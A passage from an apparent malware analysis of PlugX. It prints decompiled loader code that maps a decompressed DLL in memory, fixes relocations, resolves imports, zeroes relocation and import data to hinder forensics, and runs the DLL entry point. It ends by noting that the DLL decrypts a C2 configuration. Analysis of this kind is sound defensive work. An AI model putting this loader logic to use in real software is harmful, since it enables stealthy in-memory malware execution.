                plugx_mapped_dll + ADJ(pRawAddr)->VirtualAddress, // mapped_addr +
                section.VirtualAddress
                &uncompressed_buffer[ADJ(pRawAddr)->PointerToRawData], //
                uncompressed_dll_addr + section.RawAddress

```

```

        ADJ(pRawAddr)->SizeOfRawData);          // section.RawSize
    num_of_sections = decompressed_dll_nt_headers->FileHeader.NumberOfSections;
    ++tmp_var2.cnt;
    pRawAddr += 0xA;                          // next section
}
while ( tmp_var2.cnt < num_of_sections );
}
// PerformBaseRelocation
reloc_dir_rva = decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[5].VirtualAddress;
if ( reloc_dir_rva && decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[5].Size )
{
    for ( relocation = (plugx_mapped_dll + reloc_dir_rva); ; relocation = (relocation
+ relocation->SizeOfBlock) )
    {
        SizeOfBlock = relocation->SizeOfBlock;
        if ( !SizeOfBlock )
            break;
        relItems = 0;
        if ( (SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) >> 1 )// Items = relocation-
>SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2
        {
            do
            {
                relocation_entry = &relocation[1] + relItems;
                rel_type = *relocation_entry >> 0xC;
                if ( rel_type )
                {
                    if ( rel_type == IMAGE_REL_BASED_HIGHLOW )
                    {
                        offset = relocation->VirtualAddress + (*relocation_entry & 0xFFF);
                        *(plugx_mapped_dll + offset) += plugx_mapped_dll -
decompressed_dll_nt_headers->OptionalHeader.ImageBase;
                    }
                    else
                    {
                        if ( rel_type != IMAGE_REL_BASED_DIR64 )
                        {
                            {
                                dwRes = 0x12;
                                goto exit;
                            }
                            tmp_var1.offset = plugx_mapped_dll + relocation->VirtualAddress +
(*relocation_entry & 0xFFF);
                            tmp_var.offset = 0;
                            v24.memcpy = tmp_var1.memcpy;
                            v22 = (plugx_mapped_dll - decompressed_dll_nt_headers-
>OptionalHeader.ImageBase) >> 0x20;
                            v23 = plugx_mapped_dll - decompressed_dll_nt_headers-
>OptionalHeader.ImageBase;
                            v25 = __CFADD__(v23, ADJ(tmp_var1.pVirtualAddress)->VirtualAddress);
                            ADJ(tmp_var1.pVirtualAddress)->VirtualAddress += v23;

```

```

        plugx_mapped_dll = tmp_var3.ptr_plugx_mapped_dll;
        *(v24.offset + 4) += v22 + v25;
    }
}
SizeOfBlock = relocation->SizeOfBlock;
relItems = (relItems + 1);
}
while ( relItems < ((SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) >> 1) );
}
}
}
// fill null bytes
if ( decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].VirtualAddress )
{
    reloc_dir_size = decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[5].Size;
    if ( reloc_dir_size )
    {
        j = 0;
        if ( reloc_dir_size > 0 )
        {
            do
            {
                delta_offset = j + decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[5].VirtualAddress;
                ++j;
                *(plugx_mapped_dll + delta_offset) = 0;
            }
            while ( j < decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].Size
);
        }
    }
}
// BuildImportTable
import_desc_rva = decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[1].VirtualAddress;
if ( import_desc_rva && decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[1].Size )
{
    import_desc_va = (plugx_mapped_dll + import_desc_rva);
    for ( tmp_var2.import_desc_va = import_desc_va; ; import_desc_va =
tmp_var2.import_desc_va )
    {
        thunkRef = import_desc_va->OriginalFirstThunk;
        if ( !thunkRef )
            break;
        funcRef = tmp_var2.import_desc_va->FirstThunk;
        tmp_var.thunkData = (plugx_mapped_dll + thunkRef);
        pImportAddressTbl = plugx_mapped_dll + funcRef;
        tmp_var1.dll_handle = LoadLibraryA(plugx_mapped_dll + tmp_var2.import_desc_va-
>Name);
        if ( !tmp_var1.dll_handle )

```



```

    {
        dwRes = 0x13;
        goto exit;
    }
    thunkData = tmp_var.thunkData;
    j = 0;
    tmp_var3.cnt = 0;
    if ( *tmp_var.thunkData )
    {
        while ( TRUE )
        {
            pImportNameTbl = *thunkData;
            relItems = &pImportAddressTbl[j]; // pImportAddressTbl
            apiAddr = *&pImportNameTbl >= 0 ? GetProcAddress(
                tmp_var1.dll_handle,
                plugx_mapped_dll + *&pImportNameTbl +
offsetof(IMAGE_IMPORT_BY_NAME, Name)) : GetProcAddress(

tmp_var1.dll_handle,

pImportNameTbl.Hint);
            *relItems = apiAddr; // pIAT[j] = apiAddr
            if ( !*relItems )
                break;
            ++tmp_var3.cnt;
            j = 4 * tmp_var3.cnt;
            thunkData = &tmp_var.thunkData[tmp_var3.cnt]; // next import
            if ( !*thunkData )
                goto LABEL_76;
        }
        dwRes = 0x14;
        goto exit;
    }
LABEL_76:
    tmp_var2.offset += 0x14;
}
}
import_desc_rva = decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[1].VirtualAddress;
cnt = 0;
if ( import_desc_rva && decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[1].Size )
{
    v44 = 0;
    if ( decompressed_dll_nt_headers->FileHeader.NumberOfSections )
    {
        tmp_var3.pVirtualAddress = &decompressed_dll_section_headers->VirtualAddress;
        while ( 1 )
        {
            if ( import_desc_rva > ADJ(tmp_var3.pVirtualAddress)->VirtualAddress )
            {
                tmp_var.nextVirtuaAddr = ADJ(tmp_var3.pVirtualAddress)->VirtualAddress +

```

```

decompressed_dll_section_headers->Misc.VirtualSize;
    import_desc_rva = decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[1].VirtualAddress;
    if ( import_desc_rva < tmp_var.nextVirtuaAddr )
        break;
    }
    num_of_sections = decompressed_dll_nt_headers->FileHeader.NumberOfSections;
    tmp_var3.pVirtualAddress += 0xA;
    if ( ++cnt >= num_of_sections )
        goto wipe_import_dir_info;
    }
    v44 = decompressed_dll_section_headers[cnt].Misc.VirtualSize +
decompressed_dll_section_headers[cnt].VirtualAddress - import_desc_rva;
    }
wipe_import_dir_info:
    for ( i = 0; i < v44; v47[decompressed_dll_nt_headers-
>OptionalHeader.DataDirectory[1].VirtualAddress] = 0 )
        v47 = plugx_mapped_dll + i++;
    }
    // exec PlugX Dll from EntryPoint
    if ( ptr_PlugX_dll_entry_point(plugx_mapped_dll, DLL_PROCESS_ATTACH, sc_ctx) )
    {
        VirtualFree(uncompressed_buffer, 0, MEM_RELEASE);
        result = 0;
    }
    else
    {
        dwRes = 0x15;
exit:
        result = dwRes;
    }
    return result;
}

```

PlugX Dll performs the task of decrypting the configuration, which contains information about C2 that the malicious code will connect to:

